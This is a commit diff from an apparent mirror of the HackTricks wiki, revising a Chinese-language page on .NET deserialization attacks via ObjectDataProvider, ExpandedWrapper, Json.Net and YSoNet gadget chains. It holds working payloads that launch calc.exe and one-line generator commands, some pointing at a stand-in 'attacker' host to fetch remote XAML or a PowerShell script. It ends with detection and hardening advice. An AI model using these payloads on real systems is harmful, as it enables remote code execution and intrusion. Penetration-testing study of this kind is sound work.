mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/basic-.net-deserializati
This commit is contained in:
parent
e7b7c0a463
commit
7175aa9b3a
@ -6,8 +6,8 @@
|
||||
|
||||
## ObjectDataProvider 小工具
|
||||
|
||||
根据文档:_ObjectDataProvider 类包装并创建一个可以用作绑定源的对象。_\
|
||||
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**包装任意对象**,使用 _**MethodParameters**_ 来**设置任意参数,**然后**使用 MethodName 调用任意函数**,该函数是使用任意参数声明的任意对象。\
|
||||
根据文档:_ObjectDataProvider 类封装并创建一个可以用作绑定源的对象。_\
|
||||
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**封装任意对象**,使用 _**MethodParameters**_ 来**设置任意参数,**然后**使用 MethodName 调用任意函数**,该函数是使用任意参数声明的任意对象。\
|
||||
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数的** **函数**。
|
||||
|
||||
### **这怎么可能**
|
||||
@ -56,10 +56,10 @@ myODP.MethodName = "Start";
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
使用之前的漏洞,将会有一些情况**对象**将被**反序列化为**一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 `GetType` 反序列化的)。然后,将**对包装在 _ObjectDataProvider_ 实例中的对象类型没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的[信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
|
||||
使用之前的漏洞,将会有一些情况**对象**将被**反序列化为**一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 `GetType` 反序列化的)。然后,将对包装在 _ObjectDataProvider_ 实例中的对象类型**没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
|
||||
|
||||
这个类允许**指定封装在给定实例中的对象的类型**。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
|
||||
这在之前提到的情况中非常有用,因为我们将能够**将 _ObjectDataProvider_** 包装在一个 **_**ExpandedWrapper** _ 实例中,并且**在反序列化时**,这个类将**创建** _**OjectDataProvider**_ 对象,该对象将**执行**在 _**MethodName**_ 中指示的**函数**。
|
||||
这个类允许**指定封装在**给定实例中的对象的对象类型。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
|
||||
这在之前呈现的案例中非常有用,因为我们将能够**将 \_ObjectDataProvider**_** 包装在一个 **_**ExpandedWrapper** \_ 实例中,并且**在反序列化时**,这个类将**创建** _**OjectDataProvider**_ 对象,该对象将**执行**在 _**MethodName**_ 中指示的**函数**。
|
||||
|
||||
您可以使用以下代码检查这个包装器:
|
||||
```java
|
||||
@ -85,9 +85,9 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
在[官方网页](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们就可以仅通过反序列化一个对象来导致**RCE**。
|
||||
在[官方网站](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们就可以仅通过反序列化一个对象来导致**RCE**。
|
||||
|
||||
### Json.Net示例
|
||||
### Json.Net 示例
|
||||
|
||||
首先,让我们看一个如何使用这个库**序列化/反序列化**对象的示例:
|
||||
```java
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到计算器被执行:
|
||||
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到一个计算器被执行:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
}
|
||||
}
|
||||
```
|
||||
## 高级 .NET Gadget 链 (YSoNet & ysoserial.net)
|
||||
|
||||
上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是许多可以在应用程序执行 **不安全的 .NET 反序列化** 时被滥用的 gadget 链之一。现代红队工具如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及较旧的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))自动化创建 **现成的恶意对象图**,适用于数十种 gadget 和序列化格式。
|
||||
|
||||
以下是与 *YSoNet* 一起提供的最有用链的简要参考,以及它们的工作原理和生成有效负载的示例命令的快速说明。
|
||||
|
||||
| Gadget Chain | 关键思想 / 原语 | 常见序列化器 | YSoNet 一行命令 |
|
||||
|--------------|------------------|----------------|------------------|
|
||||
| **TypeConfuseDelegate** | 损坏 `DelegateSerializationHolder` 记录,以便一旦实现,委托指向 *任何* 攻击者提供的方法(例如 `Process.Start`) | `BinaryFormatter`,`SoapFormatter`,`NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 来 *绕过 .NET ≥4.8 类型过滤* 并直接调用提供类的 **构造函数** 或 **动态编译** C# 文件 | `BinaryFormatter`,`NetDataContractSerializer`,`LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的 **遗留 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选地使用 `--spoofedAssembly` 伪造程序集) | `LosFormatter`,`BinaryFormatter`,`XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | 在启用 WPF 的运行时(> .NET 5)中链式调用属性获取器,直到到达 `System.CodeDom.Compiler.CompilerResults`,然后 *编译* 或 *加载* 通过 `-c` 提供的 DLL | `Json.NET` 无类型,`MessagePack` 无类型 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 `--xamlurl` 变体,以远程托管恶意 XAML | `BinaryFormatter`,`Json.NET`,`XAML`,*等* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中,当 PowerShell 反序列化该对象时执行 | PowerShell 远程,`BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
> [!TIP]
|
||||
> 所有有效负载默认 **写入 *stdout***,使其轻松地通过管道传输到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
|
||||
|
||||
### 构建 / 安装 YSoNet
|
||||
|
||||
如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,以下 **PowerShell** 一行命令将设置构建环境,克隆存储库并以 *Release* 模式编译所有内容:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||||
|
||||
git clone https://github.com/irsdl/ysonet
|
||||
cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
编译后的 `ysonet.exe` 可以在 `ysonet/bin/Release/` 下找到。
|
||||
|
||||
### 检测与加固
|
||||
* **检测** `w3wp.exe`、`PowerShell.exe` 或任何反序列化用户提供数据的意外子进程(例如 `MessagePack`、`Json.NET`)。
|
||||
* 启用并 **强制类型过滤**(`TypeFilterLevel` = *Full*,自定义 `SurrogateSelector`,`SerializationBinder`,*等*)每当无法移除遗留的 `BinaryFormatter` / `NetDataContractSerializer` 时。
|
||||
* 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`**,并使用基于白名单的转换器。
|
||||
* 阻止危险的 WPF 程序集(`PresentationFramework`、`System.Workflow.*`)在不需要它们的 Web 进程中加载。
|
||||
|
||||
## 参考文献
|
||||
- [YSoNet – .NET 反序列化有效载荷生成器](https://github.com/irsdl/ysonet)
|
||||
- [ysoserial.net – 原始 PoC 工具](https://github.com/pwntester/ysoserial.net)
|
||||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user